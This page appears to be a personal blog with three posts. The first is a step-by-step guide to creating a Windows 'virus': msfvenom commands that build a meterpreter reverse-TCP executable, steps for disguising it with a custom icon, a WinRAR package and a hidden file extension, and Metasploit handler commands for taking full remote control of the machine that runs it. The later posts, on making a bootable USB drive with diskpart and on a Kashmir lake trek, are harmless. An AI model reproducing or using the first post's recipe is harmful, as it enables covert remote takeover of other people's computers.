Friday, September 28, 2018

Virus Creation using the Kali and Windows machine, execution on windows machine


Virus Creation using the Kali and Windows machine, execution on windows machine

Creating the Small Virus to get the remote connectivity of another machine.

We are using 2 machines here, 1 with Kali Linux OS and another is Windows 7 OS

As this is an small one we will be doing this on the same network.

Windows machine IP address will be as below – 192.168.175.128
To check we will be going to command prompt > ipconfig


Kali Machine IP Address will be as below 192.168.175.129
To check IP address on Kali, go to Terminal and type > ifconfig

First in kali we want to check if Metasploit is installed or not. You can check just by giving msfvenom if it returns the parameters to be provided then its installed, otherwise we want to configure the same.
The easy way to configure the Metasploit is installing all the updates of this OS which required internet access.
 Below are the commands to be executed in the terminal (we want to be careful with the small letters and big letters)
apt-get update
apt-get upgrade
apt-get dist-upgrade
This will take sometimes depends on the network speed and the memory provided for this OS

Once the above packages installed, then we want to execute the below command

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=4444 –f exe –o /root/Desktop/testvirus.exe
in the above command the LHOST IP is the Kali machine IP, Port you can modify as per your requirement. We are creating the file on the Desktop.

Once the .exe file is created, right click on the file > Properties and click on Executable.


Now on any of the windows machine you can execute the below steps.


Use any site to convert that image to ico, In example I used https://www.icoconverter.com/




Make sure you have the WinRAR installed










Follow the same procedure which is shown in the below screen shots.








The package will looks like below

Again, hide the file extension in your system.


Now our payload is ready, we want to make the kali ready as an receiver










On Kali Machine Run > msfconsole


Follow the below commands on msf
>use multi/handler
>set payload windows/meterpreter/reverse_tcp
>set LHOST 192.168.175.129
>set LPORT 4444
>set exitonsession fales
>show options
>exploit -j
>sessions
>sessions -I 1

Once you select the session you will be inside the another machine where the virus has been executed.

You can give your windows basics commands to access that machine…

shell command in windows will take you to actual command prompt.

















In the windows machine which is affected their you can see the process with your virus name.

Now in kali you will be having full access you can do all the stuffs in command prompts.



Monday, March 21, 2016

Converting Pen Drive to an Bootable Device on Windows


Converting Pen Drive to an Bootable Device on Windows


1.    Insert your USB flash drive to your running computer. As the first step, we need to run Command Prompt as administrator. To do this, we need to find cmd by typing 'cmd' in the search box on Windows Start Menu. After search result for 'cmd' appears, right click on it and select "Run as administrator".
2.    Type 'diskpart' on Command Prompt (without quotes) and hit Enter. Wait for a while until the DISKPART program run.
3.    Type 'list disk' to view active disks on your computer and hit Enter. There would be seen that the active disks shown as Disk 0 for hard drive and Disk 1 for your USB flashdrive with its total capacity.
4.    Type 'select disk 1' to determine that disk 1 would be processed in the next step then hit Enter.


5.    Type 'clean' and hit Enter to remove all of data in the drive.
6.    Type 'create partition primary' and hit Enter. Creating a primary partition and further recognized by Windows as 'partition 1'.
7.    Type 'select partition 1' an hit Enter. Choosing the 'partition 1' for setting up it as an active partition.
8.    Type 'active' and hit Enter. Activating current partition.
9.    Type 'format fs=ntfs quick' and hit Enter. Formatting current partition as NTFS file system quickly.
10.Type 'exit' and hit Enter. Leaving DISKPART program but don't close the Command Prompt instead. We would still need it for next process.

11. Let us assume that the flash / USB drive is the D: drive and the DVD installer located on drive F :. The first step, we will navigate Command Prompt to set installation DVD as its active directory.
12.  By default, Command Prompt's active directory for Administrator permission is on C:\Windows\System32>. We will navigate Command Prompt to set on DVD (F:) as its active directory. Just type 'f:' then hit Enter, and the active directory changed to F:.
13.Type 'cd boot' and hit Enter. Active directory changed to F:\boot>.
14. Type 'bootsect /nt60 d:' and hit Enter. Creating boot sector on D: drive (USB flash drive).
15. Type 'exit' and hit Enter to close the Command Prompt. Until this step we have made a bootable USB drive successfully, and the flash drive is ready to be used as a boot media.
16.To install Windows from a bootable USB drive, we just need to copy the whole installation files contained on the DVD installer to flash drive. To do this, open the Command Prompt as in previous steps. Once it opens, type 'xcopy f: \ *. * d: \ / E / H / F' and then press Enter. Wait until all the files in the DVD installer copied to the flash drive. Now bootable USB drive is ready to be used for installing Windows from flash drive and you're done !

Monday, June 22, 2015

kashmir great lake Trekking, lots of Adventure and Lots of fun....

The kashmir great lake Adventurous trekking with some of my friends Harusha Bhat and Subrahmanya Bhat. Enjoyed a lot.....

Details of this trekking :

Region :- Kashmir
Duration :- 08 Days
Grade :- Moderate
Max Altitude :- 13,750 Ft.
Approx Trekking Km :- 85 kms. 

Lakes Which are covered in this trek:

Vishansar Lake
Gadsar
Kishasar lake
Satsar
Gangabal Twin lakes








































 Vishansar Lake





Gangabal Twin lakes